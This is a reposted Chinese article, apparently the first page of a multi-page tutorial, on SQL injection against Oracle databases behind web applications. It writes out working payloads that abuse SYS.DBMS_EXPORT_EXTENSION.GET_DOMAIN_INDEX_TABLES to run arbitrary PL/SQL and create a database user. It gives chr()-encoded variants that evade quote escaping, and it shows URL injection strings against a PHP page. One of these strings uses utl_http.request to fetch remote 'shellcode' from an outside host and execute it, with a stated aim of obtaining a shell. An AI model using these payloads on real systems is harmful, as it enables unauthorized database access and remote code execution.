网站首页 Cn029.Com - 西安网吧在线℡

Cn029.Com - 西安网吧在线℡ 西北地区网吧行业门户站点www.cn029.com,本站为您提供网吧维护,每日更新最新网吧技术,政策法规.为您提供各类网管软件,网吧软件,游戏更新软件,承接西部地区网吧维护,希望与您共同讨论网吧经营管理的经验!

投递文章  投稿指南 RSS订阅 西安网吧在线通告:
搜索: 您的位置西安网吧在线网吧维护Web服务器 → 文章内容

浅谈 Oracle web环境注射技术

  作者:佚名   来源:IT专家网   更新时间:2008-4-18 2:48:21   【 】  评论:0
作者: 剑心,  出处:whitecell.org , 责任编辑: 韩博颖, 
2008-04-15 09:10
  本文只是从一个web安全的角度来看如何入侵一台被防火墙防护的Oracle数据库,对一些入侵技术做了web入侵上的总结和延伸,尽量将原理讲得明白。

  首先是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的注射的一些简单解析  

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTIMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER TESTYOU IDENTIFIED BY TESTYOU '''';END;'';END;--','SYS',0,'1',0)=''
  这是我看到的原形,分析下就知道是在第三个参数存在的注射,并且是因为"没有过滤造成的,把第三个参数提取出来就是 
DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER TESTYOU IDENTIFIED BY TESTYOU '''';END;'';END;--
  可以看到DBMS_OUTPUT".PUT(:P1);与END;--之间的所有部分都是原有漏洞注射语句的地方,里面是''是因为我们要提交进',但是外层将字符串括起来的正是',所以需要对'进行转义,用的就是'',后面可以看到用chr函数可以避免这一点。这里我们将要提取出来用在web Hacking上,这个函数提取出来的原形就是:  
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);[多语句]END;--','SYS',0,'1',0)
  我们要执行多语句,并且不希望见到会被php处理的'的话就要对这个进行简单地再变形,多语句里如果出现'的话需要用''转义。  
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)
  没有出现',并且可以执行多语句的的部分也很明确,用在web hacking上的模式就是  
list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[多语句]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
  呵呵,前面第一个loveshell'不被影响是因为会被转成loveshell\',而这个被oracle看作是loveshell\这个字符串后面跟一个',完全合法。这个漏洞是跟系统有关的,我们起码需要测试一下漏洞存在与否吧?也很简单,如果整个参数被处理好的话,我们在多语句里填写非法的语句是应该正常解析才对,所以测试可不可以执行多语句就用  
list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||[一个非法的sql语句,如chr(79)]||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
  如果出错了的话就说明漏洞是存在的(我测试的主机基本都有这个漏洞:P)但是到这大家也可以看到一个非常麻烦的事情,我们的多语句里的每个字符都转换成为chr的话整个参数将非常庞大,所以这里借用以下shellcode的概念,将我们的exploit放在另外一个地方,看我的语句吧!  
list.php?username=loveshell' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||utl_http.request('http://www.loveshell.net/shellcode.txt')||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0)=0--
  对,既然我们传的多语句只是字符串,为什么不把字符串放到远程的机器上然后用utl_http包取回来执行呢:),这里为了演示方便我并没有对http://www.loveshell.net/shellcod.txt进行chr转换,实际php环境下还是需要转换的。

  好了,到这里我们能做到的是让Oracle将我远程机器上的一个文件作为PL/SQL运行了,很好,把前面的都放开,看如何利用现在的条件返回一个shell。查询相关的文档,知道比较通用一点返回shell的好方法是利用java外部存储过程,并且现在的除非是个人机器上,一般的都是支持java的选项的,所以我们需要先来用java创建一个执行命令的存储过程。作为我们的shellcode需要变换一点东西,就是将必要的地方的'变成'',为什么要这样前面讲过了。

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。

上一页  [1] [2] [3] [4] [5] [6]  下一页

Tags: 网吧 硬件 价格 最新  
责任编辑:Cn029.Com
  • 请文明参与讨论,禁止漫骂攻击。 用户名:新注册) 验证码: 验证码,看不清楚?请点击刷新验证码

    分 值:100分 85分 70分 55分 40分 25分 10分 0分

    评论总数:0条,平均得分:0[ 查看全部 ] 网友评论
    热门图文
    关于我们 - 联系我们 - 广告服务 - 法律声明 - RSS订阅 - 网站地图 - 返回顶部